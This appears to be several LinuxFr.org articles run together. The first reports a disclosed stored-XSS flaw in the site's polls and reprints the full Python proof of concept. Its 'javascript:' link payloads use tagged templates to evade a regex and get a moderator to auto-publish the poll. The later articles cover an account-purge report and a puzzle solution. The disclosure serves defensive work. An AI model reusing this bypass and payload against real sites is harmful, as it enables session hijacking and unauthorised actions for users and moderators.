Ce titre est celui d’un courriel reçu le samedi 20 juin 2026 en fin de soirée. La France est alors au milieu de sa deuxième canicule de l’année, et moi en train de produire la dépêche De la fermeture des comptes inactifs depuis 3 ans que je pensais initialement en avance et qui était finalement en retard.

Et donc recevoir un tel message n’annonçait rien de bien rafraîchissant. (Même si ça changeait des week-ends successifs d’annonces de failles de sécurité noyau à déployer plus ou moins en urgence)

Pourtant il s’agissait du signalement d’une faille réelle, fait de façon détaillée, claire et pédagogique. Ça change du bruit de fond habituel sur Internet avec son lot de tentatives diverses et variées d’injections chimériques mi-SQL mi-Javascript mi-PHP, et ses fameux audits de sécurité non-sollicités et délicieusement bourrins. Grand merci donc à 0xMitsurugi H pour avoir explicité le problème.

Sommaire

• Le signalement
  • L’explication
  • Et paf le PoC !
• Un peu de contexte
• Une vraie faille
• Conclusion

Le signalement

L’explication

(avec l’autorisation de l’auteur «  mon code et le rapport sont open source »)

Bonjour,

J’ai lu le code source de linuxfr.org et je me suis intéressé aux sondages.
J’ai l’impression que certains échappements HTML ne fonctionnent pas très bien.

Il est possible de bypasser la regexp dans les réponses du sondage et
injecter du javascript dans les réponses.

En soi, ce ne serait pas grave, car un sondage doit être validé par un admin
pour que les utilisateurs le voient.

L’astuce ici consiste à utiliser une réponse avec du js qui fera valider
automatiquement le sondage par un admin, et mettre un second javascript
dans une autre réponse destiné aux utilisateurs, une fois le sondage
validé, permettant la compromission de tous les utilisateurs qui vont
cliquer sur le sondage.

Voici le poc en python (inliné dans le mail car google fait des dingueries
avec les pièces jointes en python):

#!/usr/bin/env python3
r"""
PoC — XSS stockee via linkify dans les reponses de sondage linuxfr.org

Vecteur : href="javascript:..." active au clic
Bypass regex : tagged template ` func`arg` ` au lieu de func('arg')
  - document.querySelector`.ok_button`  au lieu de
document.querySelector('.ok_button')
  - form.submit``                      au lieu de form.submit()
  - alert`msg`                         au lieu de alert('msg')
  Aucune parenthese `)` n'apparait dans l'URL markdown, donc la regex
  \[([^\]]*)\]\(([^)]*)\) ne peut rien manger.

Contrainte : 128 caracteres max (PollAnswer)
  Phase 1 : 64 car. (form.submit pour auto-publication)
  Phase 2 : 54 car. (alert de preuve)

Deroulement :
  1. Attaquant cree un sondage avec les payloads XSS
  2. Moderateuur visite /moderation/sondages/ID et clique sur [a]
  3. La publication se fait sans boite de confirmation
  4. Les visiteurs cliquent sur [b] -> alerte JavaScript

Usage :
  python3 poc.py <url> <user_session>

  <url>            : racine du site (ex: http://dlfp.lo)
  <user_session>   : valeur du cookie linuxfr.org_session (compte standard)

Exemple :
  python3 poc.py http://dlfp.lo "user_session_value"

Prerequis :
  pip install requests
"""

import re
import sys
from urllib.parse import urljoin, urlparse

import requests


def e(msg: str, code: int = 1) -> None:
    print(f"[-] {msg}")
    sys.exit(code)


def s(msg: str) -> None:
    print(f"[+] {msg}")


def info(msg: str) -> None:
    print(f"[*] {msg}")


def banner() -> None:
    print("=" * 68)
    print("  PoC — XSS linkify -> Auto-validation + XSS proof")
    print("  Vecteur : tagged templates dans href (pas de ) necessaire)")
    print("  Cible : linuxfr.org")
    print("=" * 68)


def make_session(cookie_value: str, target_url: str) -> requests.Session:
    s = requests.Session()
    hostname = urlparse(target_url).hostname
    s.cookies.set("linuxfr.org_session", cookie_value, domain=hostname)
    return s


def create_poll(url: str, session: requests.Session,) -> tuple[str, str]:
    """
    Cree un sondage avec les reponses malveillantes.
    """

    # Réponse 1 : 64 car. — form.submit() via tagged template
    # document.querySelector`.ok_button`   => querySelector('.ok_button')
    # form.submit``                        => form.submit()
    payload_phase1 = (
        "[a]"
        "(javascript:document.querySelector"
        "`.ok_button`.form.submit``)"
    )

    # Réponse 2 : 54 car. — alert via tagged template
    payload_phase2 = (
        "[b]"
        "(javascript:alert"
        "`smile this is your favorite XSS`)"
    )

    info("Chargement du formulaire de creation...")
    r = session.get(urljoin(url, "/sondages/nouveau"))
    csrf = re.search(
        r'name="authenticity_token" value="([^"]*)"', r.text
    )
    csrf = csrf.group(1)

    info("Creation du sondage malveillant...")
    r = session.post(urljoin(url, "/sondages"), data={
        "authenticity_token": csrf,
        "poll[title]": "PoC XSS — tagged template",
        "poll[wiki_explanations]": (
            "Cliquez sur les liens ci-dessous !"
        ),
        "poll[cc_licensed]": "1",
        "poll[answers_attributes][0][answer]": payload_phase1,
        "poll[answers_attributes][1][answer]": payload_phase2,
    })

    if r.status_code not in (200, 302):
        e(f"Creation echouee (HTTP {r.status_code})")

    print("Connectez vous en tant qu'admin et cliquez sur la réponse A")


def main():
    banner()

    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <url> <user_session>")
        print()
        print("Exemple :")
        print(f'  {sys.argv[0]} http://dlfp.lo "SESSION_USER"')
        sys.exit(1)

    target_url = sys.argv[1].rstrip("/")
    user_session_val = sys.argv[2]

    user_session = make_session(user_session_val, target_url)

    # Creation du sondage malveillant
    print()
    info("Creation du sondage avec payloads XSS")
    create_poll(target_url, user_session)


if __name__ == "__main__":
    main()

Et je joins les copies d’écran dans l’ordre :-)

C’était sympa à trigger, je ne pensais pas arriver à quelque chose avec
l’autovalidation de l’admin pour publier le sondage. Bon, il faut quand
même l’interaction d’un admin (d’où le fait que ce n’est pas très grave),
j’ai essayé des trucs à base de onmouseover, mais je n’arrive à rien de
bien ce soir, il fait trop chaud.

Merci de gérer et maintenir le site linuxfr, j’ai appris beaucoup de choses
en le lisant, même si je ne suis qu’un simple lecteur :-)
Merci de fournir le code source sur github, ça m’a permis de debug en live
mes tests.

Bonne soirée

Et paf le PoC !

Les cinq images étaient en pièces jointes du signalement.

La démonstration à l’œuvre :

En admin, le nouveau sondage dans la page des sondages :

En admin, cliquer sur un choix autovalide le sondage :

Et sur le sondage publié, un clic d’un compte utilisateur :

Paf la faille :

Un peu de contexte

La faille signalée concerne le type de contenu sondages du site LinuxFr.org : un sondage est une question sur un thème donné ; le lectorat du site LinuxFr.org peut choisir parmi un ensemble de réponses proposées. (aide)

Une personne ayant un compte sur le site peut proposer un sondage (aide). Sa publication nécessite une approbation par l’équipe de modération (aide).

Un sondage est composé d’une partie question en Markdown. Et de (en général) plusieurs réponses dans un format exotique : c’est du texte brut, pas de mises en forme en italique/gras ou autre, sauf que les liens au format Markdown [oh un lien](https://une.adresse.invalid) sont possibles, depuis 2012. Ce code pour gérer du supposé texte brut mais acceptant des hyperliens Markdown, avec une expression rationnelle pour gérer, forcément ça annonçait un hypothétique problème à venir.

« Le cross-site scripting (abrégé XSS) est un type de faille de sécurité des sites web permettant d'injecter du contenu dans une page, provoquant ainsi des actions sur les navigateurs web visitant la page. » (Wikipedia) : ici on va glisser un sondage malveillant dans la base de données LinuxFr.org, une personne modératrice va aller le lire et déclencher involontairement la publication, qui devient alors visible par tout le monde, et chaque personne qui ira voter sur le sondage va déclencher un comportement non désiré. Bon en pratique, à ce moment là, ladite personne modératrice se rendrait alors compte du problème et dépublierait le sondage en catastrophe. Potentiellement trop tard pour quelques personnes du lectorat avides de sondages.

Une vraie faille

Bon si ça se trouve, la faille ne fonctionne pas, c’est facile de tester et de voir si on reproduit. Bon on reproduit…

En analysant le code et en testant, on voit qu’il y a plusieurs soucis :

• on peut insérer en base de données des choses que l’on ne voudrait pas y voir ;
• on peut afficher ce qu’on a trouvé en base en filtrant mal.

Donc on va ajouter un filtrage à la création sur les hyperliens pour ne laisser passer que les protocoles autorisés et que des adresses qui ressemblent à des adresses.

Et on va ajouter un filtrage à l’affichage / conversion en HTML pour n’afficher que des hyperliens, dans les protocoles autorisés et avec une adresse qui ressemble à une adresse.

Évidemment il y a la contrainte de ne pas casser le fonctionnel et les sondages déjà présents en base de données.

Donc on fait plein de tests un peu cracra :

Et on produit un commit de correction (si tout va bien).

On a aussi vérifié le contenu existant de la base, au cas où.

Il ne restait plus qu’à remercier le contributeur et à convenir d’une publication en dépêche. Que voici.

Conclusion

Une contribution par une personne qui a lu le code source, qui a déployé le site, qui a écrit un bout de code pour illustrer l’exploitation de la faille de bout-en-bout, qui a littéralement illustré l’exploitation avec cinq images et qui a accompagné le tout d’une explication détaillée et en fournissant le code. Que demander de plus ? Encore merci.

Ah oui il faut une ouverture finale et tenir en haleine le lectorat : cette dépêche n'évoque pas la dernière faille signalée (ni même l'avant-dernière), et on n'est que douze jours après.

Ce 28 juin 2026, le site LinuxFr.org fête ses vingt‑huit ans. Il fût lancé au millénaire dernier, en 1998, et depuis une équipe de bénévoles code et gère ce site, permettant à son lectorat de publier contenus et commentaires sur le logiciel libre, sur les nombreux autres domaines du Libre comme la culture, la cartographie, le matériel ou les manuels scolaires ; mais aussi bien d’autres thématiques comme la robotique, la cuisine, la typographie, TapTempo, la vie et la mort, ou la sérendipité, l’intelligence artificielle et la fIAtigue, la législation.

En vrac, LinuxFr.org c’est aussi :

• un site sans publicité, sans NFT, absent des metaverses et sans pisteur (et léger par rapport au Web obèse moderne) ;
• une association LinuxFr comme représentant légal ;
• des prix attribués chaque mois ou presque ;
• le site LinuxFr.org mais aussi le podcast Projets Libres ;
• l’histoire du site racontée dans un entretien de LinuxFr.org avec OpenSource.com (version anglaise) ou dans un podcast Projets Libres ! ;
• des liens, des étiquettes, des statistiques et des pages presque valides ;
• de nouvelles règles de pérennité des données à caractère personnel depuis trois ans (voir la dépêche un an) ;
• de la modération avec modération ;
• du code libre, des contenus libres, de la transparence et l'ouverture (et parfois du secret) ;
• des conférences données à feu les Rencontres Mondiales du Logiciel (RMLL), aux ancêtres de l’Open Source Expérience (OSXP) comme Paris Open Source Summit (POSS) ou Solutions GNU/Linux (SGL), au Capitole du Libre (CdL) ou à Pas Sage En Seine (PSES) ;
• 28 ans de souvenirs, de rencontres, d’échanges, d’assemblées générales, de stands, de code, de commentaires et de contenus ;
• et plein d’autres choses encore.

En février 2023, nous avions décrit « les données à caractère personnel traitées, qu’elles soient ou non associées à un compte, le cycle de vie de ses données et le changement de politique concernant ce cycle de vie. » La règle a été mise en place au 28 juin 2023 (la date de dernière activité du compte ayant été mise en place au 31 mai 2023) :

• les comptes inactifs pendant trois ans sont fermés et les données conservées inutiles au service supprimées ;
• les comptes fermés depuis plus d’un an voient les données associées inutiles au service supprimées (cf dépêche d'évaluation 1 an après en 2024)

Depuis trois ans, les comptes fermés (par la personne détenant le compte ou par l’équipe de modération sur les spams par exemple) voient donc leurs données minimisées. La nouveauté cette année était la fermeture des comptes inactifs depuis trois ans.

Quelques chiffres pour donner une idée de l’évolution des comptes

• un an, c’est 961 comptes ouverts (et 286 fermés depuis), entre le 01 octobre 2024 et le 30 septembre 2025 (basées sur les rétrospectives des quinzaines)
• un an, c’est aussi 1607 tentatives de création de comptes, sur la même période (basé sur les identifiants en base de données), dont beaucoup ne sont visiblement jamais confirmés et donc jamais réellement ouverts (spam, erreur d’adresse, erreur sur le pseudo voulu, etc.)

Application de la règle des 3 ans d’inactivité

Regardons les statistiques conservées par archive.org du 11 avril dernier, soit avant l’échéance des trois ans d’inactivité du 31 mai dernier :

• 53599 utilisatrices et utilisateurs ayant ou ayant eu des comptes (et encore présents en base de données)
• 33150 comptes
• 1384 comptes fermés

Et comparons avec les statistiques au moment de l’écriture de la dépêche, en base de données on trouve :

• 38847 utilisatrices et utilisateurs ayant ou ayant eu des comptes (et encore présents en base de données)
• 18397 comptes
• 12380 comptes fermés

Il y a donc eu purge de plus de 14500 comptes et fermeture de plus de 10000 comptes au 31 mai 2026.

Pourquoi certains comptes sont purgés ? Car ils n’avaient aucun contenu public ou commentaire public ou contribution à des contenus publics. Il peut s’agir de personnes n’ayant jamais rien eu à dire sur le site, de spammeurs n’ayant jamais réussi à publier quoi que soit, etc. La volumétrie est aussi due au stock puisque le traitement s’est appliqué à tous les comptes concernés depuis 1999 (année du plus vieux compte en base de données).

Pourquoi certains comptes sont fermés ? Parce qu’ils restent associés un ou plusieurs contenus ou commentaires ou contributions publics. Les cas peuvent être multiples : la personne est décédée, la personne est passée à autre chose, la personne avait juste besoin de poser une question à un moment et n’est donc pas restée, la personne est depuis 3 ans en prison ou en orbite ou dans un sous-marin ou tout autre endroit hors-ligne, etc.

Conséquences techniques ?

Va-t-on réutiliser les identifiants libérés dans la base de données de comptes ? Il n’y a pas vraiment d’intérêt à le faire.

A-t-on gagné sur le volume des sauvegardes ? La table des versions de dépêches pèse ~9 GiB pour ~430000 tuples, celle des commentaires ~3 GiB pour 2M de commentaires. La table des comptes n’est que la 11^e plus volumineuse en base, avec 18 MiB. Donc non on ne gagne rien de significatif. Probablement moins que si on supprimait dès maintenant les encore présents en base 700 contenus non publics et 21900 commentaires non publics.

Est-ce que tout le site va aller plus vite ? Non, ça ne va pas être perceptible sur les requêtes SQL.

Quel serait le cas le plus favorable en termes de réduction des données ? L’anonymisation du compte et de tout ce qui est associé : cela supprime un compte bien sûr, mais ça permettait en théorie de fusionner des éditions de dépêches par exemple : si Anonyme, seul compte contributeur, a 82 éditions d’une même dépêche, alors des années après, on peut sans doute se contenter de ne garder que la première et la dernière édition par exemple (pour préserver dates et attribution). Et même si Anonyme a seulement les éditions 53 à 57 d’une dépêche, on pourrait faire de même sur cette partie contiguë.

Aide sur le sujet

• Quelles sont les données à caractère personnel (DCP) traitées par le site ?
• Quelles sont les données sans caractère personnel relatives au compte traitées par le site ?
• Quelles sont les données inutiles au service qui sont supprimées des comptes fermés ?

P.S. : cette dépêche sera ma 500^e dépêche publiée

Le 17 janvier 2026 était publié un journal au titre cryptique « Le grand secret de LinuxFr.org ». Son contenu se limite à pointer un tableau (le voici au format Markdown ou en image) et huit vers énigmatiques par un piètre rimailleur. Et pour renforcer l’aspect mékeskidi, une prédiction à propos d’un second secret.

Comment en est-on arrivé là ? Quel rapport avec LinuxFr.org ? Quel est ce grand secret ? Et le second ? Y avait-il des éléments cachés dans des éléments cachés dans des éléments cachés ? Voilà ce qui sera détaillé dans la suite.

Avertissement : évidemment si vous allez lire la suite, vous gâchez le plaisir de la recherche de la réponse par vous-même. Si vous lisez cette dépêche longtemps après sa publication, la résolution devrait rester inchangée.

Sommaire

• • Il était une fois
    • De l’auteur
    • La publication
  • La résolution
    • Le picross
    • Le coin en haut à gauche
  • Le coin en bas à gauche
  • Le coin en haut à droite
    • Le cœur de la grille
    • Le braille
    • Le morse
    • Les drapeaux
    • Les six
  • La solution
    • Le grand secret
    • Un second secret ?
• A posteriori
  • De la création d’énigme
  • Et ensuite ?

Il était une fois

De l’auteur

Je suis, entre autres choses, un amateur de jeux de société, de jeux de rôle, de petits jeux quotidiens (comme Sutom (MIT) ou Le Mot (GPL v3) ou ClueBySam (gratuit, code propriétaire), de petits jeux de réflexion comme GNOME Sudoku (GPLv3+), habitué à recourir à dcode.fr (CC By) pour coder/décoder sur divers jeux (ou à CyberChef (Apache 2) pour des choses plus orientées sécurité) ou de participer à de longues séries d’énigmes genre calendrier de l’Avent (dernièrement celles du ChocoCervo (gratuit à but caritatif, code propriétaire) ou celles de Professeur Zwolle (payant et code propriétaire).

Dans la dernière édition de ce dernier, qui s’est terminée mi-novembre 2025, il y avait une grille codée à résoudre et j’avais adoré le principe de cette énigme à tiroirs. Je me suis demandé qu’elle serait la difficulté à en faire une similaire, voire en augmentant la densité de l’information stockée dans la grille. Bref début décembre 2025, j’ai commencé à remplir une grille (entre diverses résolutions de calendriers de l’Avent orientés énigmes/jeux ou bien sécurité).

Mi-décembre j’avais obtenu le résultat quasi final, mais j’avais du mal à résoudre moi-même l’énigme, donc il fallait réduire sa difficulté et ma motivation a baissé avec une fin d’année compliquée. Et début 2026, en rediscutant avec des amis de l’énigme en préparation, la motivation est revenue, j’ai fini de retester en une soirée, découvert une typo qui a nécessité des corrections de dernière minute, et le lendemain, tout était prêt pour la publication.

La publication

J’avais produit mon beau tableau Markdown pour publier directement sur LinuxFr.org (c’était un peu l’idée initiale). J’admire donc le résultat de mon copier-coller. Et le résultat est illisible, car le tableau est assez grand avec 26 lignes et 51 colonnes. Et surtout la dernière ligne contient du texte assez large dans chaque colonne, si on n’affiche pas le texte verticalement. Ce que ne permet pas LinuxFr.org. Bon, de toute façon, c’est nettement plus facile à résoudre dans un tableur genre LibreOffice (MPL 2.0) et j’ai d’ailleurs rapidement suggéré de l’utiliser en réglant la largeur des colonnes sauf la première à 0,7 cm par exemple, et d’ajuster l’affichage du texte en vertical pour la dernière ligne. Voir par exemple le rendu en image.

Vient ensuite le petit poème (que je vais amputer involontairement initialement en le terminant par « mater » au lieu de « materas », nuisant à la rime certes, mais sans effet sur la résolution) :

Il y aura du blanc, il y aura du noir.
Criards sont ⚫ et ⚪, parce qu’ils braillent.
Qu’un fond de la même couleur leur aille.
Similitude des drapeaux, vers un espoir ?
Bariolés ils finiront néanmoins blancs.
Tout comme la ponctuation qui n’en est pas.
Mêmes six dans une colonne, des éléments
D’autres parties à chercher, ensuite materas.

Normalement, avec le titre, le tableau bariolé cryptique plein de symboles et les vers bizarres, le lectorat comprend qu’il s’agit d’une énigme à résoudre, pour découvrir un « grand secret du site » donc. Voire un second secret.

La résolution

Le picross

La variété dans le tableau est le signe qu’il y a différentes choses à trouver, donc on peut commencer de différentes façons.

Les amateurs de jeu ont sans doute déjà reconnu un picross (Wikipédia nous dira qu’il est « connu sous de nombreux autres noms : Crucipixel ; Edel ; FigurePic ; gameLO; Grafilogika ; Griddlers ; Hanjie ; Illust-Logic ; Japanese Crosswords ; Japanilaiset Ristikot ; Japanese Puzzels ; Kare Karala! ; Logic Art ; Logic Square ; Logicolor ; Logigraphe ; Logik-Puzzles ; Logimage ; Nonograms ; Oekaki Logic ; Oekaki-Mate ; Paint by numbers ; Paint Logic ; Pic-a-Pix ; Pikurosu ; Pixel Puzzles ; Puzzle Giapponese ; Puzzle Japones ; Shchor Uftor ; Tsunami ; Pictopix. »). Pour les autres, j’avais donné un indice avec « Une façon de commencer est de regarder ce qui est lisible et qui flèche la résolution. » Dans le coin supérieur gauche, on voit les mots WIKIPEDIA et PICROSS qui sont pointés par des flèches.

W	I	K	I	P	E	D	I	A	📖
⤒	⤒	B	j	Y	W	R	y	⤒	⤒
🦙	🖱️	K	c	m	l	♾️	l	💾	📬
💽	🐧	Y	W	5	z	I	G	⤓	⤓
⟶	⟶	⟶	P	I	C	R	O	S	S

Un autre indice était le vers « Il y aura du blanc, il y aura du noir. ». Effectivement on va avoir besoin de cases noires et blanches (plutôt gris clair et foncé pour pouvoir lire le contenu en pratique), et pas que pour le picross. On va aussi s’aider de « ⚫ et ⚪ (…) Qu’un fond de la même couleur leur aille. » (donc les ronds noirs sont des cases noires et les ronds blancs des cases blanches. Et enfin on va s’aider de « drapeaux (…) ils finiront néanmoins blancs », donc les drapeaux sont des cases blanches, et de « Tout comme la ponctuation », dont la « ponctuation » (voire plus loin, mais on parle ici des cases contenant des points et des tirets) est aussi sur des cases blanches.

Ne reste plus qu’à résoudre le picross. Et on découvre un QR-code 50x25 (en fait 25x25 les cases étant dédoublées). Il a été produit ainsi avec le paquet go-qrcode (licence Expat), -t pour la sortie texte, -s pour la taille, -d pour éviter la bordure :

qrcode -t -d -s 33 "1 Le site " > qrcode.txt

Ce qui donne un 33x33 mais 25x25 sans le cadre. Avec une petite moulinette de 48 lignes assez basique nommée pycross-me.py je l’ai converti en un picross. Et une dernière commande vient remplacer les blancs (espaces) par des @ et les noirs par des espaces pour faciliter la lecture dans un tableau ensuite.

./pycross-me.py  qrcode.txt |sed -e 's/" "/"@"/g' -e 's/"█"/" "/g' > qrcode.csv

Le qrcode.txt :

              ██  ██      ██████  ██              
  ██████████  ██      ████  ██    ██  ██████████  
  ██      ██  ██    ████    ████  ██  ██      ██  
  ██      ██  ████████████    ██████  ██      ██  
  ██      ██  ████  ████    ████  ██  ██      ██  
  ██████████  ██      ██████████  ██  ██████████  
              ██  ██  ██  ██  ██  ██              
████████████████  ██  ████  ████  ████████████████
████      ██  ██  ████████████  ██      ████      
      ████  ██  ██████  ████  ██████  ██████  ██  
  ██  ██  ██  ██    ████████  ████  ██  ██  ██    
  ██  ██    ████████    ██████  ██████  ████████  
██████  ████  ██    ████  ██    ██  ████      ██  
      ████████    ██  ██  ██      ██    ██████████
  ████  ██    ██          ██  ██████  ██████████  
  ████████  ████    ████████████        ██  ██    
  ██    ████          ██  ██  ██              ██  
████████████████      ██    ████  ██████    ██  ██
              ██████  ██          ██  ██    ████  
  ██████████  ████          ██    ██████  ████    
  ██      ██  ██        ██████            ██  ████
  ██      ██  ██    ██      ████████        ████  
  ██      ██  ██    ████  ██    ██      ████  ██  
  ██████████  ██████    ██████  ██  ██  ████████  
              ██████████    ████  ██████          

Bref ce qu’il fallait trouver dans cette sous-partie était « 1 Le site ».

Le coin en haut à gauche

La partie blanche était celle contenant WIKIPEDIA et PICROSS précédemment évoquée, plus quelques émojis pour décorer (dont un lama déchaîné et un manchot, et divers moyens de stockage d’information).

On ne conservant que la partie noire dans cette partie on a ce qui suit :

c	m	l	l	b	i	B	❌	k	Y	W	5	z
G	x											⏹️
c	y			B	j	Y	W	R	y			Z
✅	M			K	c	m	l	♾️	l			b
B	k			Y	W	5	z	I	G			x
c	y											B
Y	W	⏹️	R	⚫	⚫	y	Z	X	M	🫟	K	🥾

On peut noter que c’est une des rares zones comportant des minuscules. Et la raison est qu’on peut y lire la phrase cmllbiBkYW5zIGxlcyBjYWRyZXMK répétée deux fois, qui est nettement plus lisible si on devine qu’il s’agit d’un codage base64 :

$ echo cmllbiBkYW5zIGxlcyBjYWRyZXMKcmllbiBkYW5zIGxlcyBjYWRyZXMK|base64 -d
rien dans les cadres
rien dans les cadres

Bref ça ne sert à rien.

Le coin en bas à gauche

D’abord la partie en blanc :

B	R	🕶️	W	P	🐧	P	A	R	👩🦯
A	I							E	I
L	L								L
E	B								📖
R	📖	A	I	🦙	L	L		⚪	E

On a donc une dame avec une canne blanche, des lunettes noires, deux fois Braille, un « WP (pour Wikipédia) pareil » (que pour Picross), et les habituels manchot et lama déchaîné. Bref c’est un indice pour une autre partie, mais pas de réponse en vue si je puis dire.

Alors la partie en noir :

P	🐙	4	s	🍂	a	S	s	3	Z	c	🌲	l
i	R											s
r	L			@	u	T	♾️	r	❌			E
C	🫟			@	✅	d	r	e	⚫			s
A	r			i	e	n	À	Y	⚫			t
o	U											v
R	m	@	i	5	🦀	C	o	U	🥖	c	O	u

Une fois les émojis décoratifs retirés, on peut lire « P4s aSs3Z cl4iR sUr L (sic) @uTrEs C@dres y A rien À Y tRoUvER m@i5 CoUcOu » (la fôte n’était pas voulue) pour « Pas assez clair sur les autres cadres ? Y a rien à trouver, mais coucou. »

Le coin en haut à droite

D’abord la partie en blanc :

T	A	A	H	T	A	A	H	M
A	A							H
A	A							H
A	A
O	T	I	T	A	A	H
🎶	🎵	I	R	T	I	T	I	T

Qu’il faut lire comme du code morse avec des tirets longs dits « taah » et des points courts dits « ti » (et des notes de musique pour suggérer les sons).

taah taah -> M
taah taah taah -> O
ti taah ti -> R
ti ti ti -> S
ti -> E

Super, on a « morse » codé en morse. Et on n’a rien appris.

Puis la partie en noir :

a	W	w	g	b	i	d	5	I	G	E	g	d
J	✅											h
W	1			l	b	n	Q	g	c			m
l	b			i	B	⏹️	k	Y	W			5
I	G			🟦		🔴	🟢	⏸️			H	x
c	y											B
Y	🫟	W	R	y	Z	X	🦣	M		⚫	K	🍄

Encore des minuscules et encore du base64.

echo aWwgbid5IGEgdnJhaW1lbnQgcmllbiBkYW5zIGxlcyBjYWRyZXMK|base64 -d
il n’y a vraiment rien dans les cadres

Le cœur de la grille

Dans la partie en blanc, on peut lire (après remise en forme) « message pour l’intelligence naturelle ou artificielle qui lira cette phrase ce n’est pas ce qu’il faut avec les blancs voir plutôt les non-lettres sinosn (sic) » (la typo est involontaire).

Dans la partie en noir, on peut lire (après remise en forme) :

D’abord vient le numéro d’un système avant le systemd.
Puis une pause car besoin d’espace.
Ensuite une lettre qui ne doit pas être confondue avec le zéro.
Suivi d’un langage de programmation orienté données et statistiques.
Arrive une arobase mais plus simple.
Puis la première lettre du langage de templates utilisé jusqu’en deux-mille onze > par le site.
Décidons une nouvelle pause.
Tout est au point, alors mettons-en deux.

Les réponses étant 5 (System V), espace, o, r, a, t (Templeet), espace, :.
L’élément est donc « 5 orat : ».

Le braille

On aurait pu faire le braille dès le début, sans résoudre le picross. Il était indiqué par « ⚫ et ⚪, parce qu’ils braillent. »

Les ronds noirs (avec l’aide des ronds blancs pour savoir où sont situés les 3 lignes et 2 colonnes codant un caractère braille) permettent de lire de haut en bas et de gauche à droite le message « 3 aux contribu » (la première zone code un chiffre, la seconde est entièrement blanche donc vide donc espace, et les suivantes codent des lettres).

Le morse

On aurait pu faire le morse dès le début, sans résoudre le picross. Le vers parle de « ponctuation qui n’en est pas » et il faut donc y voir du morse dans les parties comportant des points et des tirets. On peut déchiffrer « 2 vit grâce » (la première zone code un chiffre, la seconde est◽donc espace, et les suivantes codent des lettres).

Les drapeaux

On aurait pu faire les drapeaux dès le début, sans résoudre le picross. Le vers parle de « Similitude des drapeaux ». Il faut remarquer que dans le premier groupe de six ils ont en commun un partage en 4. Le second groupe ne comporte que des drapeaux blancs, donc espace. Et chacun des autres groupes va coder une lettre, la première lettre commune des pays concernés. Le message à trouver était donc « 4 tions du lect ».

Les six

On aurait pu faire les six dès le début, sans résoudre le picross. Les derniers vers non encore utilisés sont

Mêmes six dans une colonne, des éléments
D’autres parties à chercher, ensuite materas.

Une petite observation montre qu’il existe une colonne avec six fois le caractère Unicode☝🏼. On cherche donc des mains et des doigts. Et si leurs emplacements dessinent les lettres v, o, u et s. Le message à trouver était donc « 6 vous »

La solution

Le grand secret

Les six éléments trouvés et remis dans l’ordre donne la phrase suivante : « Le site vit grâce aux contributions du lectorat : vous ». Ce qui est effectivement le grand secret de LinuxFr.org, site qui vit par et pour vous. Il figure d’ailleurs en première phrase sur la page pour proposer un contenu.

Et voici une visualisation de la solution complète de la grille :

Un second secret ?

Au moment où j’ai écrit le journal, je me suis dit que la résolution pourrait être longue et difficile, qu’une personne seule aurait dû mal à la faire, qu’elle aurait besoin de l’aide, des suggestions, des pistes, des idées, des erreurs, des indices et de la motivation apportée par d’autres personnes. Que sur un site contributif les personnes allaient s’entraider et se nourrir des questions/réponses des autres via les commentaires. Et c’est bien, selon moi, le second grand secret derrière LinuxFr.org. Je ne pouvais que pressentir les commentaires qui viendraient par la suite sous le journal d’annonce de l’énigme.

A posteriori

De la création d’énigme

Voici mes quelques impressions retour sur la création d’une telle énigme :

• je voulais le plus petit QRcode possible pour avoir une petite grille, mais au final elle n’est pas si petite que cela, et cela veut dire des tests longs et pénibles, des soucis d’affichage sur le site à la publication, et une plus grande difficulté pour résoudre ;
• je suis satisfait de la quantité d’informations que j’ai pu glisser dans la grille : toutes les cases sont utiles à l’exception des émojis servant de diversions pour la partie « les six ». Et cela inclus des indices glissés pour suggérer le picross, le braille et le morse, ainsi que des fausses pistes ;
• l'Unicode et les emojis offrent vraiment plein de possibilités pour des énigmes basées sur du texte et des symboles ;
• il reste plus de typos que l’on pense, parce que c’est difficile/pénible à relire. Celle trouvée la veille de la publication aurait pu obliger à tout décaler dans la grille, ce qui aurait pu être très pénible (j’ai pu m’en sortir avec un changement singulier/pluriel qui a limité le décalage à une seule phrase). Et de fait il en reste après les publications (il faut dire qu’il n’y a pas eu d’équipe de bêta-test, personne n’était au courant de la publication) ;
• la capacité à être résolue a été un souci : je connaissais le QRcode, mais il ne pouvait servir directement de picross. J’ai donc rajouté des zones pour le braille, les drapeaux et le morse avec des couleurs définies, pour qu’il soit faisable. Et ensuite il faut tout retester depuis le début pour vérifier. La quantité de zones ajoutées augmente ou diminue la difficulté de la partie picross ;
• je n’avais pas conçu en amont plus que « qrcode pour faire un picross » et en ajoutant les autres parties au fur et à mesure, on se retrouve à devoir revoir des cases (c’est complètement le cas de la partie « les six » qui a consisté à trouver où je pourrais dessiner mes lettres et à remplacer des cases déjà remplies d’autres émojis ;
• à défaut de pouvoir tout recréer/régénérer automatiquement, il est important de garder des notes de ce qui a été fait, des différentes énigmes et des solutions, ça évite de devoir re-résoudre plusieurs fois, et ça aide pour écrire la solution in extenso ensuite ;
• c’est assez fun de construire les différentes parties, de mettre des indices, des fausses pistes, des blagues semi-privées sur le manchot et le lama déchaîné, ou les dinosaures parce que tout le monde aime les dinosaures ;
• il y a une certaine fébrilité à la publication (y aura-t-il de l’intérêt ou pas ? Y aura-t-il des résolutions complètes ou non ? Y aura-t-il de l’entraide ?), puis une attente (ça fait déjà 5min que c’est publié et personne n’a tout résolu encore ? Bon 10 min maintenant. Et après quelques heures ?) et enfin un petit jeu sur comment donner des indices sans donner les réponses directement (c’est clairement la meilleure partie, les échanges par commentaires interposés sur le site, et avec Bookynette & Echarp via Signal (AGPLv3).

Et ensuite ?

Ce n’est pas la première fois que j’organise un jeu de ce type sur le site, il y a eu plusieurs fois des chasses aux œufs durant des vacances autour de Pâques (en 2020 et 2021). C’est la première fois que cela prend cette forme d’une énigme mystérieuse. Peut-être qu’il y en aura d’autres ainsi, peut-être pas, cela dépend de vos retours, de la motivation et de l’inspiration. Et de l’envie éventuelle de tester d’autres formes (un escape game ? Quelque chose basé sur le site lui-même ? Ou bien en dehors en utilisant des ressources libres genre OpenStreetMap ou OpenFoodFacts ?). De faire quelque chose en partenariat avec l’April, qui a déjà fait un jeu de l’oie et un espace game ?

En cette traditionnelle période de vœux lors du changement d’année, voyons ce qui devrait… changera… pourrait éventuellement changer ou non. Donc une nouvelle fois encore retour sur nos accomplissements passés et projection dans le futur, vers ce que nous aimerions voir plus sur notre site préféré et écouter plus dans notre podcast préféré.

